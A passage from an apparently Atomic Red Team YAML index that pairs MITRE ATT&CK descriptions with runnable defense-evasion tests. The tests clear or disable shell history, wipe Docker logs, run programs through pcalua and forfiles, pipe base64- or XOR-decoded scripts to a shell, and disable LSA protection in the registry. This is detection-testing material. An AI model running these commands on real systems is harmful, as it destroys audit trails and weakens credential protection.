      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1070.003
    atomic_tests:
    - name: Clear Bash history (rm)
      auto_generated_guid: a934276e-2be5-4a36-93fd-98adbb5bd4fc
      description: 'Clears bash history via rm

        '
      input_arguments:
        history_path:
          description: Bash history path
          type: path
          default: "~/.bash_history"
      supported_platforms:
      - linux
      - macos
      executor:
        command: 'rm #{history_path}

          '
        name: sh
    - name: Clear Bash history (echo)
      auto_generated_guid: cbf506a5-dd78-43e5-be7e-a46b7c7a0a11
      description: 'Clears bash history via echo

        '
      input_arguments:
        history_path:
          description: Bash history path
          type: path
          default: "~/.bash_history"
      supported_platforms:
      - linux
      executor:
        command: 'echo "" > #{history_path}

          '
        name: sh
    - name: Clear Bash history (cat dev/null)
      auto_generated_guid: b1251c35-dcd3-4ea1-86da-36d27b54f31f
      description: 'Clears bash history via cat /dev/null

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        history_path:
          description: Bash history path
          type: path
          default: "~/.bash_history"
      executor:
        command: 'cat /dev/null > #{history_path}

          '
        name: sh
    - name: Clear Bash history (ln dev/null)
      auto_generated_guid: 23d348f3-cc5c-4ba9-bd0a-ae09069f0914
      description: 'Clears bash history via a symlink to /dev/null

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        history_path:
          description: Bash history path
          type: path
          default: "~/.bash_history"
      executor:
        command: 'ln -sf /dev/null #{history_path}

          '
        name: sh
    - name: Clear Bash history (truncate)
      auto_generated_guid: 47966a1d-df4f-4078-af65-db6d9aa20739
      description: 'Clears bash history via truncate

        '
      supported_platforms:
      - linux
      input_arguments:
        history_path:
          description: Bash history path
          type: path
          default: "~/.bash_history"
      executor:
        command: 'truncate -s0 #{history_path}

          '
        name: sh
    - name: Clear history of a bunch of shells
      auto_generated_guid: 7e6721df-5f08-4370-9255-f06d8a77af4c
      description: 'Clears the history of a bunch of different shell types by setting
        the history size to zero

        '
      supported_platforms:
      - linux
      - macos
      executor:
        command: |
          unset HISTFILE
          export HISTFILESIZE=0
          history -c
        name: sh
    - name: Clear and Disable Bash History Logging
      auto_generated_guid: 784e4011-bd1a-4ecd-a63a-8feb278512e6
      description: 'Clears the history and disable bash history logging of the current
        shell and future shell sessions

        '
      supported_platforms:
      - linux
      - macos
      executor:
        command: |
          set +o history
          echo 'set +o history' >> ~/.bashrc
          . ~/.bashrc
          history -c
        cleanup_command: |
          sed -i 's/set +o history//g' ~/.bashrc
          . ~/.bashrc
          set -o history
        name: sh
    - name: Use Space Before Command to Avoid Logging to History
      auto_generated_guid: 53b03a54-4529-4992-852d-a00b4b7215a6
      description: 'Using a space before a command causes the command to not be logged
        in the Bash History file

        '
      supported_platforms:
      - linux
      - macos
      executor:
        command: |
          hostname
          whoami
        name: sh
    - name: Disable Bash History Logging with SSH -T
      auto_generated_guid: 5f8abd62-f615-43c5-b6be-f780f25790a1
      description: 'Keeps history clear and stays out of lastlog,wtmp,btmp ssh -T
        keeps the ssh client from catching a proper TTY, which is what usually gets
        logged on lastlog

        '
      supported_platforms:
      - linux
      dependencies:
      - description: 'Install sshpass and create user account used for excuting

          '
        prereq_command: "$(getent passwd testuser1 >/dev/null) && $(which sshpass
          >/dev/null)\n"
        get_prereq_command: |
          [ "$(uname)" = 'FreeBSD' ] && pw useradd testuser1 -g wheel -s /bin/sh || /usr/sbin/useradd testuser1
          [ "$(uname)" = 'FreeBSD' ] && echo 'pwd101!' | pw mod user testuser1 -h 0 || echo -e 'pwd101!\npwd101!' | passwd testuser1
          (which yum && yum -y install epel-release sshpass)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y sshpass)||(which pkg && pkg install -y sshpass)
      executor:
        command: 'sshpass -p ''pwd101!'' ssh testuser1@localhost -T hostname

          '
        cleanup_command: '[ "$(uname)" = ''FreeBSD'' ] && rmuser -y testuser1 || userdel
          -f testuser1

          '
        name: sh
    - name: Clear Docker Container Logs
      auto_generated_guid: 553b39f9-1e8c-47b1-abf5-8daf7b0391e9
      description: 'Clears Docker container logs using the Docker CLI and the truncate
        command, removing all log entries.

        '
      supported_platforms:
      - linux
      executor:
        name: bash
        command: 'docker container prune -f && sudo truncate -s 0 /var/lib/docker/containers/*/*-json.log

          '
        elevation_required: true
    - name: Prevent Powershell History Logging
      auto_generated_guid: 2f898b81-3e97-4abb-bc3f-a95138988370
      description: 'Prevents Powershell history

        '
      supported_platforms:
      - windows
      executor:
        command: 'Set-PSReadlineOption -HistorySaveStyle SaveNothing

          '
        name: powershell
        cleanup_command: Set-PSReadLineOption -HistorySaveStyle SaveIncrementally
    - name: Clear Powershell History by Deleting History File
      auto_generated_guid: da75ae8d-26d6-4483-b0fe-700e4df4f037
      description: 'Clears Powershell history

        '
      supported_platforms:
      - windows
      executor:
        command: 'Remove-Item (Get-PSReadlineOption).HistorySavePath

          '
        name: powershell
    - name: Set Custom AddToHistoryHandler to Avoid History File Logging
      auto_generated_guid: 1d0d9aa6-6111-4f89-927b-53e8afae7f94
      description: "The \"AddToHistoryHandler\" receives the current command as the
        $line variable and then returns $true if \nthe line should be written to the
        history file. Here we simply return $false so nothing gets added to \nthe
        history file for the current session. \n"
      supported_platforms:
      - windows
      executor:
        command: 'Set-PSReadLineOption -AddToHistoryHandler { return $false }

          '
        cleanup_command: 'Set-PSReadLineOption -AddToHistoryHandler $null

          '
        name: powershell
  T1202:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Matthew Demaske, Adaptforward
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e
      created: '2018-04-18T17:59:24.739Z'
      x_mitre_version: '1.1'
      external_references:
      - source_name: mitre-attack
        external_id: T1202
        url: https://attack.mitre.org/techniques/T1202
      - source_name: Evi1cg Forfiles Nov 2017
        url: https://twitter.com/Evi1cg/status/935027922397573120
        description: Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved
          January 22, 2018.
      - source_name: RSA Forfiles Aug 2017
        url: https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe
        description: Partington, E. (2017, August 14). Are you looking out for forfiles.exe
          (if you are watching for cmd.exe). Retrieved January 22, 2018.
      - source_name: VectorSec ForFiles Aug 2017
        url: https://twitter.com/vector_sec/status/896049052642533376
        description: vector_sec. (2017, August 11). Defenders watching launches of
          cmd? What about forfiles?. Retrieved January 22, 2018.
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)

        Adversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.
      modified: '2022-05-24T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Indirect Command Execution
      x_mitre_detection: 'Monitor and analyze logs from host-based detection mechanisms,
        such as Sysmon, for events such as process creations that include or are resulting
        from parameters associated with invoking programs/commands/files and/or spawning
        child processes/network connections. (Citation: RSA Forfiles Aug 2017)'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_is_subtechnique: false
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      x_mitre_defense_bypassed:
      - Static File Analysis
      - Application Control
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1202
    atomic_tests:
    - name: Indirect Command Execution - pcalua.exe
      auto_generated_guid: cecfea7a-5f03-4cdd-8bc8-6f7c22862440
      description: |
        The Program Compatibility Assistant (pcalua.exe) may invoke the execution of programs and commands from a Command-Line Interface.
        [Reference](https://twitter.com/KyleHanslovan/status/912659279806640128)
        Upon execution, calc.exe should open
      supported_platforms:
      - windows
      input_arguments:
        payload_path:
          description: Path to payload
          type: path
          default: C:\Windows\System32\calc.exe
        process:
          description: Process to execute
          type: string
          default: calc.exe
      executor:
        command: |
          pcalua.exe -a #{process}
          pcalua.exe -a #{payload_path}
        name: command_prompt
    - name: Indirect Command Execution - forfiles.exe
      auto_generated_guid: 8b34a448-40d9-4fc3-a8c8-4bb286faf7dc
      description: |
        forfiles.exe may invoke the execution of programs and commands from a Command-Line Interface.
        [Reference](https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Forfiles.yml)
        "This is basically saying for each occurrence of notepad.exe in c:\windows\system32 run calc.exe"
        Upon execution calc.exe will be opened.
      supported_platforms:
      - windows
      input_arguments:
        process:
          description: Process to execute
          type: string
          default: calc.exe
      executor:
        command: 'forfiles /p c:\windows\system32 /m notepad.exe /c #{process}

          '
        name: command_prompt
    - name: Indirect Command Execution - conhost.exe
      auto_generated_guid: cf3391e0-b482-4b02-87fc-ca8362269b29
      description: |
        conhost.exe refers to a host process for the console window. It provide an interface between command prompt and Windows explorer.
        Executing it through command line can create process ancestry anomalies
        [Reference] (http://www.hexacorn.com/blog/2020/05/25/how-to-con-your-host/)
      supported_platforms:
      - windows
      input_arguments:
        process:
          description: Process to execute
          type: string
          default: notepad.exe
      executor:
        command: 'conhost.exe "#{process}"

          '
        name: command_prompt
    - name: Indirect Command Execution - Scriptrunner.exe
      auto_generated_guid: 0fd14730-6226-4f5e-8d67-43c65f1be940
      description: |-
        The "ScriptRunner.exe" binary can be abused to proxy execution through it and bypass possible whitelisting. Upon test execution, calc.exe should open
        Reference: https://x.com/NickTyrer/status/914234924655312896
      supported_platforms:
      - windows
      input_arguments:
        payload_path:
          description: Path to the executable
          type: String
          default: C:\Windows\System32\calc.exe
      executor:
        command: Scriptrunner.exe -appvscript "#{payload_path}"
        cleanup_command: 
        name: powershell
        elevation_required: false
  T1140:
    technique:
      modified: '2023-08-14T19:28:18.334Z'
      name: Deobfuscate/Decode Files or Information
      description: |-
        Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.

        One such example is the use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file.(Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows <code>copy /b</code> command to reassemble binary fragments into a malicious payload.(Citation: Carbon Black Obfuscation Sept 2016)

        Sometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Matthew Demaske, Adaptforward
      - Red Canary
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as [certutil](https://attack.mitre.org/software/S0160).

        Monitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Script: Script Execution'
      - 'File: File Modification'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Host Intrusion Prevention Systems
      - Signature-based Detection
      - Network Intrusion Detection System
      type: attack-pattern
      id: attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c
      created: '2017-12-14T16:46:06.044Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1140
        external_id: T1140
      - source_name: Volexity PowerDuke November 2016
        description: 'Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election
          Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January
          11, 2017.'
        url: https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/
      - source_name: Malwarebytes Targeted Attack against Saudi Arabia
        description: Malwarebytes Labs. (2017, March 27). New targeted attack against
          Saudi Arabia Government. Retrieved July 3, 2017.
        url: https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/
      - source_name: Carbon Black Obfuscation Sept 2016
        description: Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved
          February 12, 2018.
        url: https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1140
    atomic_tests:
    - name: Deobfuscate/Decode Files Or Information
      auto_generated_guid: dc6fe391-69e6-4506-bd06-ea5eeb4082f8
      description: |
        Encode/Decode executable
        Upon execution a file named T1140_calc_decoded.exe will be placed in the temp folder
      supported_platforms:
      - windows
      input_arguments:
        executable:
          description: name of executable
          type: path
          default: C:\Windows\System32\calc.exe
      executor:
        command: |
          certutil -encode #{executable} %temp%\T1140_calc.txt
          certutil -decode %temp%\T1140_calc.txt %temp%\T1140_calc_decoded.exe
        cleanup_command: |
          del %temp%\T1140_calc.txt >nul 2>&1
          del %temp%\T1140_calc_decoded.exe >nul 2>&1
        name: command_prompt
    - name: Certutil Rename and Decode
      auto_generated_guid: 71abc534-3c05-4d0c-80f7-cbe93cb2aa94
      description: 'Rename certutil and decode a file. This is in reference to latest
        research by FireEye [here](https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html)

        '
      supported_platforms:
      - windows
      input_arguments:
        executable:
          description: name of executable/file to decode
          type: path
          default: C:\Windows\System32\calc.exe
      executor:
        command: |
          copy %windir%\system32\certutil.exe %temp%\tcm.tmp
          %temp%\tcm.tmp -encode #{executable} %temp%\T1140_calc2.txt
          %temp%\tcm.tmp -decode %temp%\T1140_calc2.txt %temp%\T1140_calc2_decoded.exe
        cleanup_command: |
          del %temp%\tcm.tmp >nul 2>&1
          del %temp%\T1140_calc2.txt >nul 2>&1
          del %temp%\T1140_calc2_decoded.exe >nul 2>&1
        name: command_prompt
    - name: Base64 decoding with Python
      auto_generated_guid: 356dc0e8-684f-4428-bb94-9313998ad608
      description: 'Use Python to decode a base64-encoded text string and echo it
        to the console

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        message:
          description: Message to print to the screen
          type: string
          default: Hello from Atomic Red Team test T1140!
        encoded_file:
          description: File to temporarily save encoded text
          type: path
          default: "/tmp/T1140.encoded"
      dependencies:
      - description: 'Python must be present

          '
        prereq_command: 'which python3

          '
        get_prereq_command: 'echo "Please install Python 3"

          '
      executor:
        name: sh
        elevation_required: false
        command: |
          ENCODED=$(python3 -c 'import base64;enc=base64.b64encode("#{message}".encode());print(enc.decode())')
          python3 -c "import base64;dec=base64.b64decode(\"$ENCODED\");print(dec.decode())"
          python3 -c "import base64 as d;dec=d.b64decode(\"$ENCODED\");print(dec.decode())"
          python3 -c "from base64 import b64decode;dec=b64decode(\"$ENCODED\");print(dec.decode())"
          python3 -c "from base64 import b64decode as d;dec=d(\"$ENCODED\");print(dec.decode())"
          echo $ENCODED | python3 -c "import base64,sys;dec=base64.b64decode(sys.stdin.read());print(dec.decode())"
          echo $ENCODED > #{encoded_file} && python3 -c "import base64;dec=base64.b64decode(open('#{encoded_file}').read());print(dec.decode())"
    - name: Base64 decoding with Perl
      auto_generated_guid: 6604d964-b9f6-4d4b-8ce8-499829a14d0a
      description: "Use Perl to decode a base64-encoded text string and echo it to
        the console    \n"
      supported_platforms:
      - linux
      - macos
      input_arguments:
        message:
          description: Message to print to the screen
          type: string
          default: Hello from Atomic Red Team test T1140!
        encoded_file:
          description: File to temporarily save encoded text
          type: path
          default: "/tmp/T1140.encoded"
      dependencies:
      - description: 'Perl must be present

          '
        prereq_command: 'which perl

          '
        get_prereq_command: 'echo "Please install Perl"

          '
      executor:
        name: sh
        elevation_required: false
        command: |
          ENCODED=$(perl -e "use MIME::Base64;print(encode_base64('#{message}'));")
          perl -le "use MIME::Base64;print(decode_base64('$ENCODED'));"
          echo $ENCODED | perl -le 'use MIME::Base64;print(decode_base64(<STDIN>));'
          echo $ENCODED > #{encoded_file} && perl -le 'use MIME::Base64;open($f,"<","#{encoded_file}");print(decode_base64(<$f>));'
    - name: Base64 decoding with shell utilities
      auto_generated_guid: b4f6a567-a27a-41e5-b8ef-ac4b4008bb7e
      description: 'Use common shell utilities to decode a base64-encoded text string
        and echo it to the console

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        message:
          description: Message to print to the screen
          type: string
          default: Hello from Atomic Red Team test T1140!
        encoded_file:
          description: File to temporarily save encoded text
          type: path
          default: "/tmp/T1140.encoded"
      executor:
        name: sh
        elevation_required: false
        command: |
          ENCODED=$(echo '#{message}' | base64)
          printf $ENCODED | base64 -d
          echo $ENCODED | base64 -d
          echo $(echo $ENCODED) | base64 -d
          echo $ENCODED > #{encoded_file} && base64 -d #{encoded_file}
          echo $ENCODED > #{encoded_file} && base64 -d < #{encoded_file}
          echo $ENCODED > #{encoded_file} && cat #{encoded_file} | base64 -d
          echo $ENCODED > #{encoded_file} && cat < #{encoded_file} | base64 -d
          bash -c "{echo,\"$(echo $ENCODED)\"}|{base64,-d}"
    - name: Base64 decoding with shell utilities (freebsd)
      auto_generated_guid: b6097712-c42e-4174-b8f2-4b1e1a5bbb3d
      description: 'Use common shell utilities to decode a base64-encoded text string
        and echo it to the console

        '
      supported_platforms:
      - linux
      input_arguments:
        message:
          description: Message to print to the screen
          type: string
          default: Hello from Atomic Red Team test T1140!
        encoded_file:
          description: File to temporarily save encoded text
          type: path
          default: "/tmp/T1140.encoded"
      executor:
        name: sh
        elevation_required: false
        command: |
          ENCODED=$(echo '#{message}' | b64encode -r -)
          printf $ENCODED | b64decode -r
          echo $ENCODED | b64decode -r
          echo $(echo $ENCODED) | b64decode -r
          echo $ENCODED > #{encoded_file} && b64encode -r #{encoded_file}
          echo $ENCODED > #{encoded_file} && b64decode -r < #{encoded_file}
          echo $ENCODED > #{encoded_file} && cat #{encoded_file} | b64decode -r
          echo $ENCODED > #{encoded_file} && cat < #{encoded_file} | b64decode -r
    - name: FreeBSD b64encode Shebang in CLI
      auto_generated_guid: 18ee2002-66e8-4518-87c5-c0ec9c8299ac
      description: "Using b64decode shell scripts that have Shebang in them. This
        is commonly how attackers obfuscate passing and executing a shell script.
        Seen [here](https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html)
        by TrendMicro, as well as [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS).
        Also a there is a great Sigma rule [here](https://github.com/SigmaHQ/sigma/blob/master/rules/linux/process_creation/proc_creation_lnx_base64_shebang_cli.yml)
        for it. \n"
      supported_platforms:
      - linux
      input_arguments:
        bash_encoded:
          description: Encoded
          type: string
          default: IyEvYmluL2Jhc2gKZWNobyAiaHR0cHM6Ly93d3cueW91dHViZS5jb20vQGF0b21pY3NvbmFmcmlkYXkgRlRXIgo=
        dash_encoded:
          description: Encoded
          type: string
          default: IyEvYmluL2Rhc2gKZWNobyAiaHR0cHM6Ly93d3cueW91dHViZS5jb20vQGF0b21pY3NvbmFmcmlkYXkgRlRXIgo=
        fish_encoded:
          description: Encoded
          type: string
          default: IyEvYmluL2Rhc2gKZWNobyAiaHR0cHM6Ly93d3cueW91dHViZS5jb20vQGF0b21pY3NvbmFmcmlkYXkgRlRXIgo=
        sh_encoded:
          description: Encoded
          type: string
          default: IyEvYmluL3NoCmVjaG8gImh0dHBzOi8vd3d3LnlvdXR1YmUuY29tL0BhdG9taWNzb25hZnJpZGF5IEZUVyIK
      dependencies:
      - description: 'b64decode must be present

          '
        prereq_command: 'which b64decode

          '
        get_prereq_command: 'echo "please install b64decode"

          '
      executor:
        name: sh
        elevation_required: false
        command: |
          echo #{bash_encoded} | b64decode -r | sh
          echo #{dash_encoded} | b64decode -r | sh
          echo #{fish_encoded} | b64decode -r | sh
          echo #{sh_encoded} | b64decode -r | sh
    - name: Hex decoding with shell utilities
      auto_generated_guid: '005943f9-8dd5-4349-8b46-0313c0a9f973'
      description: 'Use common shell utilities to decode a hex-encoded text string
        and echo it to the console

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        message:
          description: Message to print to the screen
          type: string
          default: Hello from Atomic Red Team test T1140!
        encoded_file:
          description: File to temporarily save encoded text
          type: path
          default: "/tmp/T1140.encoded"
      dependencies:
      - description: 'xxd must be present

          '
        prereq_command: 'which xxd

          '
        get_prereq_command: 'echo "Please install xxd"

          '
      executor:
        name: sh
        elevation_required: false
        command: |
          ENCODED=$(echo '#{message}' | xxd -ps -c 256)
          printf $ENCODED | xxd -r -p
          echo $ENCODED | xxd -r -p
          echo $(echo $ENCODED) | xxd -r -p
          echo $ENCODED > #{encoded_file} && xxd -r -p #{encoded_file}
          echo $ENCODED > #{encoded_file} && xxd -r -p < #{encoded_file}
          echo $ENCODED > #{encoded_file} && cat #{encoded_file} | xxd -r -p
          echo $ENCODED > #{encoded_file} && cat < #{encoded_file} | xxd -r -p
    - name: Linux Base64 Encoded Shebang in CLI
      auto_generated_guid: 3a15c372-67c1-4430-ac8e-ec06d641ce4d
      description: "Using Linux Base64 Encoded shell scripts that have Shebang in
        them. This is commonly how attackers obfuscate passing and executing a shell
        script. Seen [here](https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html)
        by TrendMicro, as well as [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS).
        Also a there is a great Sigma rule [here](https://github.com/SigmaHQ/sigma/blob/master/rules/linux/process_creation/proc_creation_lnx_base64_shebang_cli.yml)
        for it. \n"
      supported_platforms:
      - linux
      - macos
      input_arguments:
        bash_encoded:
          description: Encoded
          type: string
          default: IyEvYmluL2Jhc2gKZWNobyAiaHR0cHM6Ly93d3cueW91dHViZS5jb20vQGF0b21pY3NvbmFmcmlkYXkgRlRXIgo=
        dash_encoded:
          description: Encoded
          type: string
          default: IyEvYmluL2Rhc2gKZWNobyAiaHR0cHM6Ly93d3cueW91dHViZS5jb20vQGF0b21pY3NvbmFmcmlkYXkgRlRXIgo=
        fish_encoded:
          description: Encoded
          type: string
          default: IyEvYmluL2Rhc2gKZWNobyAiaHR0cHM6Ly93d3cueW91dHViZS5jb20vQGF0b21pY3NvbmFmcmlkYXkgRlRXIgo=
        sh_encoded:
          description: Encoded
          type: string
          default: IyEvYmluL3NoCmVjaG8gImh0dHBzOi8vd3d3LnlvdXR1YmUuY29tL0BhdG9taWNzb25hZnJpZGF5IEZUVyIK
      dependencies:
      - description: 'base64 must be present

          '
        prereq_command: 'which base64

          '
        get_prereq_command: 'echo "please install base64"

          '
      executor:
        name: sh
        elevation_required: false
        command: |
          echo #{bash_encoded} | base64 -d | bash
          echo #{dash_encoded} | base64 -d | bash
          echo #{fish_encoded} | base64 -d | bash
          echo #{sh_encoded} | base64 -d | bash
    - name: XOR decoding and command execution using Python
      auto_generated_guid: c3b65cd5-ee51-4e98-b6a3-6cbdec138efc
      description: An adversary can obfuscate malicious commands or payloads using
        XOR and execute them on the victim's machine. This test uses Python to decode
        and execute commands on the machine.
      supported_platforms:
      - linux
      - macos
      input_arguments:
        xor_key:
          description: 'Key used to decrypt the command '
          type: string
          default: waEHleblxiQjoxFJQaIMLdHKz
        encrypted_command:
          description: Encrypted command that will be executed
          type: string
          default: AAkqKQEM
      dependency_executor_name: bash
      dependencies:
      - description: Python3 must be installed
        prereq_command: which python3
        get_prereq_command: echo "Install Python3"
      executor:
        command: 'python3 -c ''import base64; import subprocess; xor_decrypt = lambda
          text, key: "".join([chr(c ^ ord(k)) for c, k in zip(base64.b64decode(text.encode()),
          key)]); command = "#{encrypted_command}"; key = "#{xor_key}"; exec = xor_decrypt(command,
          key); subprocess.call(exec, shell=True)'''
        cleanup_command: 
        name: bash
        elevation_required: false
  T1562:
    technique:
      modified: '2023-10-20T16:43:53.391Z'
      name: Impair Defenses
      description: |-
        Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.

        Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down. These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown)

        Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor processes and command-line arguments to see if security tools or logging services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools.  Lack of log events may be suspicious.

        Monitor environment variables and APIs that can be leveraged to disable security measures.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Office 365
      - IaaS
      - Linux
      - macOS
      - Containers
      - Network
      x_mitre_version: '1.5'
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Cloud Service: Cloud Service Disable'
      - 'Firewall: Firewall Rule Modification'
      - 'Command: Command Execution'
      - 'Script: Script Execution'
      - 'Process: Process Modification'
      - 'Windows Registry: Windows Registry Key Deletion'
      - 'Process: Process Termination'
      - 'Service: Service Metadata'
      - 'Cloud Service: Cloud Service Modification'
      - 'User Account: User Account Modification'
      - 'File: File Deletion'
      - 'Sensor Health: Host Status'
      - 'Process: OS API Execution'
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Driver: Driver Load'
      - 'Firewall: Firewall Disable'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Signature-based detection
      - Host intrusion prevention systems
      - File monitoring
      - Digital Certificate Validation
      - Host forensic analysis
      - Log analysis
      - Firewall
      type: attack-pattern
      id: attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529
      created: '2020-02-21T20:22:13.470Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1562
        external_id: T1562
      - source_name: Emotet shutdown
        description: The DFIR Report. (2022, November 8). Emotet Strikes Again – LNK
          File Leads to Domain Wide Ransomware. Retrieved March 6, 2023.
        url: https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1562
    atomic_tests:
    - name: Windows Disable LSA Protection
      auto_generated_guid: 40075d5f-3a70-4c66-9125-f72bee87247d
      description: "The following Atomic adds a registry entry to disable LSA Protection.\n\nThe
        LSA controls and manages user rights information, password hashes and other
        important bits of information in memory. Attacker tools, such as mimikatz,
        rely on accessing this content to scrape password hashes or clear-text passwords.
        Enabling LSA Protection configures Windows to control the information stored
        in memory in a more secure fashion - specifically, to prevent non-protected
        processes from accessing that data.\nUpon successful execution, the registry
        will be modified and RunAsPPL will be set to 0, disabling Lsass protection.\nhttps://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection#how-to-disable-lsa-protection\nhttps://blog.netwrix.com/2022/01/11/understanding-lsa-protection/\nhttps://thedfirreport.com/2022/03/21/phosphorus-automates-initial-access-using-proxyshell/
        \ \n"
      supported_platforms:
      - windows
      executor:
        command: 'reg add HKLM\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /t
          REG_DWORD /d 0 /f

          '
        cleanup_command: 'reg delete HKLM\SYSTEM\CurrentControlSet\Control\LSA /v
          RunAsPPL /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Disable journal logging via systemctl utility
      auto_generated_guid: c3a377f9-1203-4454-aa35-9d391d34768f
      description: 'The atomic test disables the journal logging using built-in systemctl
        utility

